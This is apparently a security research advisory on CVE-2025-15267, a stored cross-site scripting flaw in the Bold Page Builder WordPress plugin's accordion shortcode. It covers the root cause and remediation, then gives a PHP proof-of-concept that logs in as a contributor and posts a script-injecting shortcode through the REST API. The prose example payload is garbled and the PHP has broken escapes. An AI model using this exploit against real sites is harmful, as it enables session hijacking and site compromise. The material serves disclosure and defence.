Atomic Edge analysis of CVE-2025-15267 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Bold Page Builder WordPress plugin. The vulnerability exists in the plugin’s `bt_bb_accordion_item` shortcode. Attackers with contributor-level access or higher can inject malicious scripts that execute when a user views a compromised page. The CVSS score of 6.4 reflects a medium severity risk with scope change, indicating the attack can impact other site components.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states the issue affects all plugin versions up to and including 5.5.7. Without a code diff, this conclusion is inferred from the CWE and the standard WordPress shortcode handling pattern where attribute values are directly echoed without proper escaping.
The exploitation method involves an authenticated user with at least contributor privileges creating or editing a post or page. The attacker embeds the vulnerable `[bt_bb_accordion_item]` shortcode with malicious JavaScript payloads within its attributes. For example, an attacker could use an attribute like `title=’
‘`. When the page is saved and later viewed by any user, the malicious script executes in the victim’s browser context.
Remediation requires proper input validation and output escaping. The plugin developers must implement WordPress core sanitization functions like `sanitize_text_field()` or `wp_kses()` on shortcode attribute values during processing. Additionally, output must be escaped with functions like `esc_attr()` or `esc_html()` before the values are printed to the page. These measures neutralize HTML and JavaScript within user-controlled attributes.
Successful exploitation allows attackers to perform actions within the context of a victim user’s session. This can lead to session hijacking, administrative actions performed by administrators, defacement of site content, or theft of sensitive data. The stored nature of the attack means a single injection can affect multiple users over time, increasing its impact.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15267 - Bold Page Builder <= 5.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via bt_bb_accordion_item Shortcode
<?php
/**
* Proof of Concept for CVE-2025-15267.
* This script simulates an authenticated contributor injecting a stored XSS payload
* via the vulnerable 'bt_bb_accordion_item' shortcode.
* Assumptions:
* 1. The target site has Bold Page Builder plugin <= 5.5.7 installed.
* 2. Valid contributor-level credentials are available.
* 3. The plugin's shortcode processing is active.
* 4. The attacker can create or edit a post/page.
*/
$target_url = 'https://example.com/wp-login.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload: XSS via the shortcode's 'title' attribute.
// This is a common vector for shortcode attribute XSS.
$shortcode_payload = "[bt_bb_accordion_item title='<img src=x onerror=alert("XSS")>']Malicious content here[/bt_bb_accordion_item]";
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 2: Create a new post to inject the shortcode.
// This uses the WordPress REST API /wp-json/wp/v2/posts endpoint.
// Contributor users can create posts (pending review).
$create_post_url = 'https://example.com/wp-json/wp/v2/posts'; // CHANGE DOMAIN
$post_data = json_encode(array(
'title' => 'Test Post with XSS',
'content' => $shortcode_payload,
'status' => 'pending' // Contributor posts require review
));
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($post_data)
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 201) {
$response_data = json_decode($response, true);
$post_id = $response_data['id'];
$post_link = $response_data['link'];
echo "[+] Post created successfully. ID: $post_idn";
echo "[+] Post URL: $post_linkn";
echo "[+] Visit the post to trigger the XSS payload.n";
} else {
echo "[-] Failed to create post. HTTP Code: $http_coden";
echo "[-] Response: $responsen";
}
curl_close($ch);
?>
